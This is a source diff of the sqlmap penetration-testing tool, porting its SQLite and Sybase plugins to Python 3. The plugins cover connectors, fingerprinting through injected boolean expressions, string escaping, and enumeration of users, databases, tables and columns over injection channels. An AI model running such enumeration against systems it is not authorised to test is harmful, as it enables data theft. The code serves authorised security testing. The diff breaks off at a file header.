a/plugins/dbms/sqlite/__init__.py b/plugins/dbms/sqlite/__init__.py index 604bcb27fbe..cb8703b7a6f 100644 --- a/plugins/dbms/sqlite/__init__.py +++ b/plugins/dbms/sqlite/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS @@ -23,11 +23,7 @@ class SQLiteMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Tak def __init__(self): self.excludeDbsList = SQLITE_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) - unescaper[DBMS.SQLITE] = Syntax.unescape + unescaper[DBMS.SQLITE] = Syntax.escape diff --git a/plugins/dbms/sqlite/connector.py b/plugins/dbms/sqlite/connector.py index 9ca0942abd3..0b167273df1 100644 --- a/plugins/dbms/sqlite/connector.py +++ b/plugins/dbms/sqlite/connector.py @@ -1,29 +1,31 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ try: import sqlite3 -except ImportError, _: +except: pass -from lib.core.convert import utf8encode +import logging + +from lib.core.common import getSafeExString +from lib.core.convert import getText from lib.core.data import conf from lib.core.data import logger -from lib.core.exception import sqlmapConnectionException -from lib.core.exception import sqlmapMissingDependence +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapMissingDependence from plugins.generic.connector import Connector as GenericConnector - class Connector(GenericConnector): """ - Homepage: http://pysqlite.googlecode.com/ + Homepage: http://pysqlite.googlecode.com/ and http://packages.ubuntu.com/quantal/python-sqlite User guide: http://docs.python.org/release/2.5/lib/module-sqlite3.html API: http://docs.python.org/library/sqlite3.html - Debian package: python-pysqlite2 (SQLite 2), python-pysqlite3 (SQLite 3) + Debian package: python-sqlite (SQLite 2), python-pysqlite3 (SQLite 3) License: MIT Possible connectors: http://wiki.python.org/moin/SQLite @@ -44,40 +46,40 @@ def connect(self): cursor.execute("SELECT * FROM sqlite_master") cursor.close() - except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError), msg: + except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError): warnMsg = "unable to connect using SQLite 3 library, trying with SQLite 2" - logger.warn(warnMsg) + logger.warning(warnMsg) try: try: import sqlite - except ImportError, _: - errMsg = "sqlmap requires 'python-sqlite2' third-party library " + except ImportError: + errMsg = "sqlmap requires 'python-sqlite' third-party library " errMsg += "in order to directly connect to the database '%s'" % self.db - raise sqlmapMissingDependence, errMsg + raise SqlmapMissingDependence(errMsg) self.__sqlite = sqlite self.connector = self.__sqlite.connect(database=self.db, check_same_thread=False, timeout=conf.timeout) - except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError), msg: - raise sqlmapConnectionException, msg[0] + except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError) as ex: + raise SqlmapConnectionException(getSafeExString(ex)) - self.setCursor() - self.connected() + self.initCursor() + self.printConnected() def fetchall(self): try: return self.cursor.fetchall() - except self.__sqlite.OperationalError, msg: - logger.warn("(remote) %s" % msg[0]) + except self.__sqlite.OperationalError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) return None def execute(self, query): try: - self.cursor.execute(utf8encode(query)) - except self.__sqlite.OperationalError, msg: - logger.warn("(remote) %s" % msg[0]) - except self.__sqlite.DatabaseError, msg: - raise sqlmapConnectionException, msg[0] + self.cursor.execute(getText(query)) + except self.__sqlite.OperationalError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) + except self.__sqlite.DatabaseError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() diff --git a/plugins/dbms/sqlite/enumeration.py b/plugins/dbms/sqlite/enumeration.py index 6d85350ef35..18df65145e8 100644 --- a/plugins/dbms/sqlite/enumeration.py +++ b/plugins/dbms/sqlite/enumeration.py @@ -1,64 +1,69 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.data import logger -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getCurrentUser(self): warnMsg = "on SQLite it is not possible to enumerate the current user" - logger.warn(warnMsg) + logger.warning(warnMsg) def getCurrentDb(self): warnMsg = "on SQLite it is not possible to get name of the current database" - logger.warn(warnMsg) + logger.warning(warnMsg) - def isDba(self): + def isDba(self, user=None): warnMsg = "on SQLite the current user has all privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) + + return True def getUsers(self): warnMsg = "on SQLite it is not possible to enumerate the users" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on SQLite it is not possible to enumerate the user password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} - def getPrivileges(self, *args): + def getPrivileges(self, *args, **kwargs): warnMsg = "on SQLite it is not possible to enumerate the user privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getDbs(self): - warnMsg = "on SQLite it is not possible to enumerate databases" - logger.warn(warnMsg) + warnMsg = "on SQLite it is not possible to enumerate databases (use only '--tables')" + logger.warning(warnMsg) return [] - def dumpAll(self): - errMsg = "on SQLite you must specify the table and columns to dump" - raise sqlmapUnsupportedFeatureException, errMsg - def searchDb(self): warnMsg = "on SQLite it is not possible to search databases" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchColumn(self): - errMsg = "on SQLite you must specify the table and columns to dump" - raise sqlmapUnsupportedFeatureException, errMsg + errMsg = "on SQLite it is not possible to search columns" + raise SqlmapUnsupportedFeatureException(errMsg) + + def getHostname(self): + warnMsg = "on SQLite it is not possible to enumerate the hostname" + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on SQLite it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/sqlite/filesystem.py b/plugins/dbms/sqlite/filesystem.py index 84b78cf40cd..ad1bc2622d4 100644 --- a/plugins/dbms/sqlite/filesystem.py +++ b/plugins/dbms/sqlite/filesystem.py @@ -1,21 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - - def readFile(self, rFile): + def readFile(self, remoteFile): errMsg = "on SQLite it is not possible to read files" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) - def writeFile(self, wFile, dFile, fileType=None): + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on SQLite it is not possible to write files" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/sqlite/fingerprint.py b/plugins/dbms/sqlite/fingerprint.py index e04160f68c1..5a2d7f159c6 100644 --- a/plugins/dbms/sqlite/fingerprint.py +++ b/plugins/dbms/sqlite/fingerprint.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.common import Backend @@ -45,9 +45,11 @@ def getFingerprint(self): value += "active fingerprint: %s" % actVer if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() @@ -64,7 +66,7 @@ def checkDbms(self): * http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions """ - if not conf.extensiveFp and (Backend.isDbmsWithin(SQLITE_ALIASES) or conf.dbms in SQLITE_ALIASES): + if not conf.extensiveFp and Backend.isDbmsWithin(SQLITE_ALIASES): setDbms(DBMS.SQLITE) self.getBanner() @@ -84,14 +86,14 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.SQLITE - logger.warn(warnMsg) + logger.warning(warnMsg) return False else: infoMsg = "actively fingerprinting %s" % DBMS.SQLITE logger.info(infoMsg) - result = inject.checkBooleanExpression("RANDOMBLOB(-1)>0") + result = inject.checkBooleanExpression("RANDOMBLOB(-1) IS NOT NULL") version = '3' if result else '2' Backend.setVersion(version) @@ -102,7 +104,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.SQLITE - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/sqlite/syntax.py b/plugins/dbms/sqlite/syntax.py index e554b1648cf..62a9379fa50 100644 --- a/plugins/dbms/sqlite/syntax.py +++ b/plugins/dbms/sqlite/syntax.py @@ -1,74 +1,22 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.common import isDBMSVersionAtLeast -from lib.core.exception import sqlmapSyntaxException +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - - @staticmethod - def unescape(expression, quote=True): - if isDBMSVersionAtLeast('3'): - if quote: - expression = expression.replace("'", "''") - while True: - index = expression.find("''") - if index == -1: - break - - firstIndex = index + 2 - index = expression[firstIndex:].find("''") - - if index == -1: - raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression.replace("''", "'") - - lastIndex = firstIndex + index - old = "''%s''" % expression[firstIndex:lastIndex] - unescaped = "" - - for i in xrange(firstIndex, lastIndex): - unescaped += "X'%x'" % ord(expression[i]) - if i < lastIndex - 1: - unescaped += "||" - - #unescaped += ")" - expression = expression.replace(old, unescaped) - expression = expression.replace("''", "'") - else: - expression = "||".join("X'%x" % ord(c) for c in expression) - - return expression - @staticmethod - def escape(expression): - # Example on SQLite 3, not supported on SQLite 2: - # select X'48'||X'656c6c6f20576f726c6400'; -- Hello World - while True: - index = expression.find("X'") - if index == -1: - break - - firstIndex = index - index = expression[firstIndex+2:].find("'") - - if index == -1: - raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression - - lastIndex = firstIndex + index + 3 - old = expression[firstIndex:lastIndex] - oldUpper = old.upper() - oldUpper = oldUpper.replace("X'", "").replace("'", "") + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97,98,99,100,101,102,103,104) FROM foobar" + True + """ - for i in xrange(len(oldUpper)/2): - char = oldUpper[i*2:i*2+2] - escaped = "'%s'" % chr(int(char, 16)) - expression = expression.replace(old, escaped) + def escaper(value): + return "CHAR(%s)" % ','.join("%d" % _ for _ in getOrds(value)) - return expression + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/sqlite/takeover.py b/plugins/dbms/sqlite/takeover.py index 77139f9bb4e..1ed29162e6f 100644 --- a/plugins/dbms/sqlite/takeover.py +++ b/plugins/dbms/sqlite/takeover.py @@ -1,31 +1,28 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "on SQLite it is not possible to execute commands" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on SQLite it is not possible to execute commands" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on SQLite it is not possible to establish an " errMsg += "out-of-band connection" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on SQLite it is not possible to establish an " errMsg += "out-of-band connection" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/sybase/__init__.py b/plugins/dbms/sybase/__init__.py index 35c0abd1c69..02b471b1636 100644 --- a/plugins/dbms/sybase/__init__.py +++ b/plugins/dbms/sybase/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS @@ -23,11 +23,7 @@ class SybaseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Tak def __init__(self): self.excludeDbsList = SYBASE_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) - unescaper[DBMS.SYBASE] = Syntax.unescape + unescaper[DBMS.SYBASE] = Syntax.escape diff --git a/plugins/dbms/sybase/connector.py b/plugins/dbms/sybase/connector.py index d2250fefb71..aed2d79e393 100644 --- a/plugins/dbms/sybase/connector.py +++ b/plugins/dbms/sybase/connector.py @@ -1,20 +1,23 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ try: import _mssql import pymssql -except ImportError, _: +except: pass -from lib.core.convert import utf8encode +import logging + +from lib.core.common import getSafeExString +from lib.core.convert import getText from lib.core.data import conf from lib.core.data import logger -from lib.core.exception import sqlmapConnectionException +from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): @@ -31,42 +34,48 @@ class Connector(GenericConnector): to work, get it from http://sourceforge.net/projects/pymssql/files/pymssql/1.0.2/ """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() try: self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout) - except pymssql.OperationalError, msg: - raise sqlmapConnectionException, msg + except (pymssql.Error, _mssql.MssqlDatabaseException) as ex: + raise SqlmapConnectionException(ex) + except ValueError: + raise SqlmapConnectionException - self.setCursor() - self.connected() + self.initCursor() + self.printConnected() def fetchall(self): try: return self.cursor.fetchall() - except (pymssql.ProgrammingError, pymssql.OperationalError, _mssql.MssqlDatabaseException), msg: - logger.warn("(remote) %s" % msg) + except (pymssql.Error, _mssql.MssqlDatabaseException) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) return None def execute(self, query): + retVal = False + try: - self.cursor.execute(utf8encode(query)) - except (pymssql.OperationalError, pymssql.ProgrammingError), msg: - logger.warn("(remote) %s" % msg) - except pymssql.InternalError, msg: - raise sqlmapConnectionException, msg + self.cursor.execute(getText(query)) + retVal = True + except (pymssql.OperationalError, pymssql.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) + except pymssql.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + return retVal def select(self, query): - self.execute(query) - value = self.fetchall() + retVal = None - try: - self.connector.commit() - except pymssql.OperationalError: - pass + if self.execute(query): + retVal = self.fetchall() + + try: + self.connector.commit() + except pymssql.OperationalError: + pass - return value + return retVal diff --git a/plugins/dbms/sybase/enumeration.py b/plugins/dbms/sybase/enumeration.py index 607416e6982..afc4bba1a78 100644 --- a/plugins/dbms/sybase/enumeration.py +++ b/plugins/dbms/sybase/enumeration.py @@ -1,71 +1,79 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.common import Backend +import re + from lib.core.common import filterPairValues +from lib.core.common import isListLike from lib.core.common import isTechniqueAvailable -from lib.core.common import randomStr +from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming +from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.data import paths from lib.core.data import queries -from lib.core.dicts import sybaseTypes +from lib.core.dicts import SYBASE_TYPES +from lib.core.enums import DBMS from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapMissingMandatoryOptionException -from lib.core.exception import sqlmapNoneDataException +from lib.core.exception import SqlmapMissingMandatoryOptionException +from lib.core.exception import SqlmapNoneDataException +from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB +from lib.utils.brute import columnExists +from lib.utils.pivotdumptable import pivotDumpTable from plugins.generic.enumeration import Enumeration as GenericEnumeration +from thirdparty import six +from thirdparty.six.moves import zip as _zip class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getUsers(self): infoMsg = "fetching database users" logger.info(infoMsg) - rootQuery = queries[Backend.getIdentifiedDbms()].users + rootQuery = queries[DBMS.SYBASE].users - randStr = randomStr() query = rootQuery.inband.query - if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct: + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = (False, True) else: blinds = (True,) for blind in blinds: - retVal = self.__pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr], blind=blind) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName) if retVal: - kb.data.cachedUsers = retVal[0].values()[0] + kb.data.cachedUsers = list(retVal[0].values())[0] break return kb.data.cachedUsers - def getPrivileges(self, *args): + def getPrivileges(self, *args, **kwargs): warnMsg = "on Sybase it is not possible to fetch " warnMsg += "database users privileges, sqlmap will check whether " warnMsg += "or not the database users are database administrators" - logger.warn(warnMsg) + logger.warning(warnMsg) users = [] areAdmins = set() if conf.user: - users = [ conf.user ] + users = [conf.user] elif not len(kb.data.cachedUsers): users = self.getUsers() else: users = kb.data.cachedUsers for user in users: + user = unArrayizeValue(user) + if user is None: continue @@ -76,7 +84,7 @@ def getPrivileges(self, *args): kb.data.cachedUsersPrivileges[user] = None - return ( kb.data.cachedUsersPrivileges, areAdmins ) + return (kb.data.cachedUsersPrivileges, areAdmins) def getDbs(self): if len(kb.data.cachedDbs) > 0: @@ -85,20 +93,19 @@ def getDbs(self): infoMsg = "fetching database names" logger.info(infoMsg) - rootQuery = queries[Backend.getIdentifiedDbms()].dbs - randStr = randomStr() + rootQuery = queries[DBMS.SYBASE].dbs query = rootQuery.inband.query - if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct: + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = [False, True] else: blinds = [True] for blind in blinds: - retVal = self.__pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr], blind=blind) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName) if retVal: - kb.data.cachedDbs = retVal[0].values()[0] + kb.data.cachedDbs = next(six.itervalues(retVal[0])) break if kb.data.cachedDbs: @@ -116,35 +123,34 @@ def getTables(self, bruteForce=None): conf.db = self.getCurrentDb() if conf.db: - dbs = conf.db.split(",") + dbs = conf.db.split(',') else: dbs = self.getDbs() for db in dbs: dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) - dbs = filter(None, dbs) + dbs = [_ for _ in dbs if _] infoMsg = "fetching tables for database" - infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs))) + infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, six.string_types) else db[0] for db in sorted(dbs))) logger.info(infoMsg) - if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct: + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = [False, True] else: blinds = [True] - rootQuery = queries[Backend.getIdentifiedDbms()].tables + rootQuery = queries[DBMS.SYBASE].tables for db in dbs: for blind in blinds: - randStr = randomStr() query = rootQuery.inband.query % db - retVal = self.__pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr], blind=blind) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName) if retVal: - for table in retVal[0].values()[0]: - if not kb.data.cachedTables.has_key(db): + for table in next(six.itervalues(retVal[0])): + if db not in kb.data.cachedTables: kb.data.cachedTables[db] = [table] else: kb.data.cachedTables[db].append(table) @@ -155,55 +161,95 @@ def getTables(self, bruteForce=None): return kb.data.cachedTables - def getColumns(self, onlyColNames=False): + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: - warnMsg = "missing database parameter, sqlmap is going " + warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" - logger.warn(warnMsg) + logger.warning(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: - if ',' in conf.db: + if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" - raise sqlmapMissingMandatoryOptionException, errMsg + raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: - colList = conf.col.split(",") + colList = conf.col.split(',') else: colList = [] + if conf.exclude: + colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] + for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) if conf.tbl: - tblList = conf.tbl.split(",") + tblList = conf.tbl.split(',') else: self.getTables() if len(kb.data.cachedTables) > 0: - tblList = kb.data.cachedTables.values() + tblList = list(six.itervalues(kb.data.cachedTables)) - if isinstance(tblList[0], (set, tuple, list)): + if tblList and isListLike(tblList[0]): tblList = tblList[0] else: errMsg = "unable to retrieve the tables " errMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - raise sqlmapNoneDataException, errMsg + raise SqlmapNoneDataException(errMsg) for tbl in tblList: - tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl) + tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) + + if bruteForce: + resumeAvailable = False + + for tbl in tblList: + for db, table, colName, colType in kb.brute.columns: + if db == conf.db and table == tbl: + resumeAvailable = True + break + + if resumeAvailable and not conf.freshQueries or colList: + columns = {} + + for column in colList: + columns[column] = None + + for tbl in tblList: + for db, table, colName, colType in kb.brute.columns: + if db == conf.db and table == tbl: + columns[colName] = colType - rootQuery = queries[Backend.getIdentifiedDbms()].columns + if conf.db in kb.data.cachedColumns: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns + else: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns} - if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct: + return kb.data.cachedColumns + + message = "do you want to use common column existence check? [y/N/q] " + choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() + + if choice == 'N': + return + elif choice == 'Q': + raise SqlmapUserQuitException + else: + return columnExists(paths.COMMON_COLUMNS) + + rootQuery = queries[DBMS.SYBASE].columns + + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = [False, True] else: blinds = [True] @@ -216,11 +262,11 @@ def getColumns(self, onlyColNames=False): infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) - return { conf.db: kb.data.cachedColumns[conf.db]} + return {conf.db: kb.data.cachedColumns[conf.db]} - if colList: + if dumpMode and colList: table = {} - table[safeSQLIdentificatorNaming(tbl)] = dict(map(lambda x: (x, None), colList)) + table[safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList) kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table continue @@ -230,18 +276,17 @@ def getColumns(self, onlyColNames=False): logger.info(infoMsg) for blind in blinds: - randStr = randomStr() query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) - retVal = self.__pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr,'%s.usertype' % randStr], blind=blind) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.usertype' % kb.aliasName], blind=blind, alias=kb.aliasName) if retVal: table = {} columns = {} - for name, type_ in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.usertype" % randStr])): - columns[name] = sybaseTypes.get(type_, type_) + for name, type_ in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.usertype" % kb.aliasName])): + columns[name] = SYBASE_TYPES.get(int(type_) if hasattr(type_, "isdigit") and type_.isdigit() else type_, type_) - table[safeSQLIdentificatorNaming(tbl)] = columns + table[safeSQLIdentificatorNaming(tbl, True)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table break @@ -250,22 +295,32 @@ def getColumns(self, onlyColNames=False): def searchDb(self): warnMsg = "on Sybase searching of databases is not implemented" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchTable(self): warnMsg = "on Sybase searching of tables is not implemented" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchColumn(self): warnMsg = "on Sybase searching of columns is not implemented" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def search(self): warnMsg = "on Sybase search option is not available" - logger.warn(warnMsg) + logger.warning(warnMsg) + + def getHostname(self): + warnMsg = "on Sybase it is not possible to enumerate the hostname" + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on Sybase it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/sybase/filesystem.py b/plugins/dbms/sybase/filesystem.py index 8f0b54d028d..0a3e73bf7b4 100644 --- a/plugins/dbms/sybase/filesystem.py +++ b/plugins/dbms/sybase/filesystem.py @@ -1,21 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - - def readFile(self, rFile): + def readFile(self, remoteFile): errMsg = "on Sybase it is not possible to read files" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) - def writeFile(self, wFile, dFile, fileType=None): + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on Sybase it is not possible to write files" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index f93c57fcb9f..64b66ba4268 100644 